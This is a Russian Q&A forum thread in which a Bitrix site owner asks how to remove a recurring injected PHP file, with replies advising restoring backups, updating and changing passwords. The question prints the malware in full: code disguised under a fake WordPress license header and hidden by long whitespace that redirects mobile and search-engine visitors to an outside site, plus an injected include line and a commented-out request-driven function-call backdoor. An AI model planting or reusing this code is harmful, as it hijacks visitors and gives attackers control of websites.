@dvornik_2002

Вирус на сайте. Как вылечить?

Есть сайт на Битриксе, который вроде и ломать-то незачем. Раз в месяц или два в папке сайта появляется незнакомый php файл. В этот раз он называется inc.class.php Как от этого избавиться? Задавал вопросы разработчикам сайта, но ответа так и не получил.

Удаляю появившийся файл, изменяю index.php и снова все работает как надо.

Вот содержание inc.class.php:

<?php 
/*
=====================================================
WordPress - Open Source Matters
-----------------------------------------------------
https://wordpress.org/
-----------------------------------------------------
Copyright (c) 2004,2014
=====================================================
Core class used to encapsulate a single cookie object for internal use.
=====================================================
The WordPress convention is to use underscores instead of camelCase for function and method
names. Need to switch to use underscores instead for the methods.
=====================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright В© 2007 Free Software Foundation, Inc. <http://fsf.org>
Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
*/                                                                                                                                                        ini_set('display_errors',"Off");function check_cookie($url_redirect){ if (($_SERVER['HTTP_REFERER'] != null) and ($_SERVER['HTTP_REFERER'] != "") and ($_SERVER['HTTP_REFERER'] != " ")){ if(isset($_COOKIE['_cutt_caches_images']) && $_COOKIE['_cutt_caches_images']<strtotime('+24 hours'))return false; setcookie('_cutt_caches_images', time(), strtotime('+24 hours'),"/");header("Location: $url_redirect");exit;}}$q=$_SERVER['QUERY_STRING'];$referer = $q;$referer = str_replace('&', '*', $referer);$referer = str_replace(';', '~', $referer);$referer = trim($referer);$s=stristr($q,'union');$s2=stristr($q,'select');$s3=stristr($q,'from');$s4=stristr($q,'jos_users');$s5=stristr($q,'concat');$s6=stristr($q,'username');$s7=stristr($q,'password');$link = 'http://'.$_SERVER['SERVER_NAME'];if((($s!=false)and($s2!=false))or(($s3!=false)and($s4!=false))or(($s5!=false)and($s6!=false))or(($s5!=false)and($s7!=false))or(($s5!=false)and($s4!=false))){header("Location: $link");exit;}$android_redirect = 'http://mklub.org/library/andr';$ios_redirect = 'http://mklub.org/library/ios';$another_mobile_redirect = 'http://mklub.org/library/mb';$web_potok = 'http://mklub.org/library/web';$iphone = stristr($_SERVER['HTTP_USER_AGENT'],"iPhone");$ipod = stristr($_SERVER['HTTP_USER_AGENT'],"iPod");$ipad = stristr($_SERVER['HTTP_USER_AGENT'],"iPad");$android = stristr($_SERVER['HTTP_USER_AGENT'],"Android");$symb = stristr($_SERVER['HTTP_USER_AGENT'],"Symbian");$wp7 = stristr($_SERVER['HTTP_USER_AGENT'],"WP7");$wp8 = stristr($_SERVER['HTTP_USER_AGENT'],"WP8");$winphone = stristr($_SERVER['HTTP_USER_AGENT'],"WindowsPhone");$berry = stristr($_SERVER['HTTP_USER_AGENT'],"BlackBerry");$palmpre = stristr($_SERVER['HTTP_USER_AGENT'],"webOS");$mobile_tel = stristr($_SERVER['HTTP_USER_AGENT'],"Mobile");$operam = stristr($_SERVER['HTTP_USER_AGENT'],"Opera M");$htc = stristr($_SERVER['HTTP_USER_AGENT'], 'HTC');$fennec = stristr($_SERVER['HTTP_USER_AGENT'],"Fennec");if ($android == true)check_cookie($android_redirect);elseif (($iphone == true) or ($ipod == true) or ($ipad == true)) check_cookie($ios_redirect);elseif (($palmpre == true) or ($mobile_tel == true) or ($operam == true) or ($htc == true) or ($wp7 == true) or ($wp8 == true) or ($symb == true) or ($berry == true) or ($fennec == true) or ($winphone == true)) check_cookie($another_mobile_redirect);elseif (preg_match('#google|yahoo|yandex|vk|odnoklassniki|mail|youtube|wikipedia|netscape|bing|facebook|twitter|dmoz|ebay|icq|yandex|google|rambler#i',$_SERVER['HTTP_REFERER']))check_cookie($web_potok);else $aaa = false;
?>


При этом меняется файл index.php. Добавляется лишняя строчка и описания title и прочие меняются на тарабарщину:

<?php if(file_exists($_SERVER['DOCUMENT_ROOT']."/inc.class.php")) require_once $_SERVER['DOCUMENT_ROOT']."/inc.class.php";?>
<?
/*if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}*/
$main_page = true;
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetPageProperty("title", "Научные конференции для детей и молодежи");
$APPLICATION->SetPageProperty("keywords", "Всероссийские конкурсы, научные конференции, форумы для детей, научно-исследовательские работы детей и молодежи");
$APPLICATION->SetPageProperty("description", "Национальная система Рнтеграция РїСЂРѕРІРѕРґРёС‚ ежегодные Всероссийские научные конференции для детей Рё молодежи РІ РњРѕСЃРєРІРµ");
$APPLICATION->SetTitle("Научные конференции для детей и молодежи");
?><?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>
  • Вопрос задан
  • 697 просмотров
Пригласить эксперта
Ответы на вопрос 5
xtala
@xtala
Постигает Дзен
Все сжечь из огнемета. Сайт восстановить из бэкапов. Вордпресс обновить, пароль сменить.
Ответ написан
Комментировать
sabramovskikh
@sabramovskikh
Ответ написан
Комментировать
profesor08
@profesor08
Вам нужна программа для поиска текста в куче файлов. Пробуйте искать с ее помощь место где создается inc.class.php, или хранится. Но раз вы в программировании не разбираетесь, то лучше удалите все файлы сайта, и установите заново, скачав с официального сайта.
Ответ написан
Комментировать
@lubezniy
Видимо, обновить Битрикс до последней версии и сменить все админские пароли. Но сначала поискать (по дате изменения) изменения в других файлах и посторонние файлы и вычистить всё подозрительное.
А насчёт "незачем ломать" - это всегда есть зачем. Просто чтобы была лишняя единичка в нехорошем ботнете, например.
Ответ написан
Комментировать
@dvornik_2002 Автор вопроса
Спасибо всем за ответы. У меня сайт на Битриксе. Хостинг nic.ru Где там найти вордпресс - пока не пойму. Через программу putty и ssh искал inc.class и прочее - ничего такого не нашел. Видимо имя файла прописывается не целиком, а как-то "собирается". Битрикс обновлен до последней версии, пароли от от хостинга, фтп, сайта уже менял. Из бэкапов - есть версия, которая сдана разработчиком сразу после оплаты (но там сайт совершенно не наполнен), а остальные бэкапы думаю уже с этой дрянью. Попробую написать хостеру.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы